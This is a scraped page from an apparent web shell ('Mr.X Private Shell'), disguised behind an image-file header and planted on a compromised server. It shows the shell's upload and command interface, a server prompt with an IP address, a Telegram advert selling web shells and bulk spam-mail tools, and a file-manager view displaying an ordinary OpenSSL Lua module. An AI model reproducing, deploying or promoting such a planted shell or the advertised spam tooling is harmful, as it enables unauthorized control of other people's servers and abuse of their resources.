����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
local ffi = require "ffi"
local C = ffi.C
local ffi_str = ffi.string
local floor = math.floor

local asn1_macro = require("resty.openssl.include.asn1")

-- https://github.com/wahern/luaossl/blob/master/src/openssl.c
local function isleap(year)
  return (year % 4) == 0 and ((year % 100) > 0 or (year % 400) == 0)
end

local past = { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334 }
local function yday(year, mon, mday)
  local d = past[mon] + mday - 1
  if mon > 2 and isleap(year) then
    d = d + 1
  end
  return d
end

local function leaps(year)
  return floor(year / 400) + floor(year / 4) - floor(year / 100)
end

local function asn1_to_unix(asn1)
  if asn1 == nil then
    return nil, "except an ASN1 instance at #1, got nil"
  end

  local s = asn1_macro.ASN1_STRING_get0_data(asn1)
  s = ffi_str(s)
  -- V_ASN1_UTCTIME           190303223958Z
  -- V_ASN1_GENERALIZEDTIME 21190822162753Z
  local yyoffset = 2
  local year
  -- # define V_ASN1_GENERALIZEDTIME          24
  if C.ASN1_STRING_type(asn1) == 24 then
    yyoffset = 4
    year = tonumber(s:sub(1, yyoffset))
  else
    year = tonumber(s:sub(1, yyoffset))
    year = year + (year < 50 and 2000 or 1900)
  end
  local month = tonumber(s:sub(yyoffset+1, yyoffset+2))
  if month > 12 or month < 1 then
    return nil, "asn1.asn1_to_unix: bad format " .. s
  end
  local day = tonumber(s:sub(yyoffset+3, yyoffset+4))
  if day > 31 or day < 1 then
    return nil, "asn1.asn1_to_unix: bad format " .. s
  end
  local hour = tonumber(s:sub(yyoffset+5, yyoffset+6))
  if hour > 23 or hour < 0 then
    return nil, "asn1.asn1_to_unix: bad format " .. s
  end
  local minute = tonumber(s:sub(yyoffset+7, yyoffset+8))
  if minute > 59 or hour < 0 then
    return nil, "asn1.asn1_to_unix: bad format " .. s
  end
  local second = tonumber(s:sub(yyoffset+9, yyoffset+10))
  if second > 59 or second < 0 then
    return nil, "asn1.asn1_to_unix: bad format " .. s
  end

  local tm
  tm = (year - 1970) * 365
  tm = tm + leaps(year - 1) - leaps(1969)
  tm = (tm + yday(year, month, day)) * 24
  tm = (tm + hour) * 60
  tm = (tm + minute) * 60
  tm = tm + second

  -- offset?
  local sign = s:sub(yyoffset+11, yyoffset+11)
  if sign == "+" or sign == "-" then
    local sgn = sign == "+" and 1 or -1
    local hh = tonumber(s:sub(yyoffset+12, yyoffset+13) or 'no')
    local mm = tonumber(s:sub(yyoffset+14, yyoffset+15) or 'no')
    if not hh or not mm then
      return nil, "asn1.asn1_to_unix: bad format " .. s
    end
    tm = tm + sgn * (hh * 3600 + mm * 60)
  end

  return tm
end

return {
  asn1_to_unix = asn1_to_unix,
}

Filemanager

Name Type Size Permission Actions
auxiliary Folder 0755
include Folder 0755
x509 Folder 0755
asn1.lua File 2.53 KB 0644
bn.lua File 9.36 KB 0644
cipher.lua File 8.79 KB 0644
crypto.lua File 489 B 0644
ctx.lua File 1.59 KB 0644
dh.lua File 2.59 KB 0644
digest.lua File 2.67 KB 0644
ec.lua File 5.04 KB 0644
ecx.lua File 2.02 KB 0644
err.lua File 2.94 KB 0644
hmac.lua File 1.95 KB 0644
kdf.lua File 11.26 KB 0644
mac.lua File 2.71 KB 0644
objects.lua File 1.69 KB 0644
param.lua File 10.92 KB 0644
pkcs12.lua File 4.72 KB 0644
pkey.lua File 31.17 KB 0644
provider.lua File 3.44 KB 0644
rand.lua File 1.33 KB 0644
rsa.lua File 3.43 KB 0644
ssl.lua File 8.56 KB 0644
ssl_ctx.lua File 2.11 KB 0644
stack.lua File 3.69 KB 0644
version.lua File 2.86 KB 0644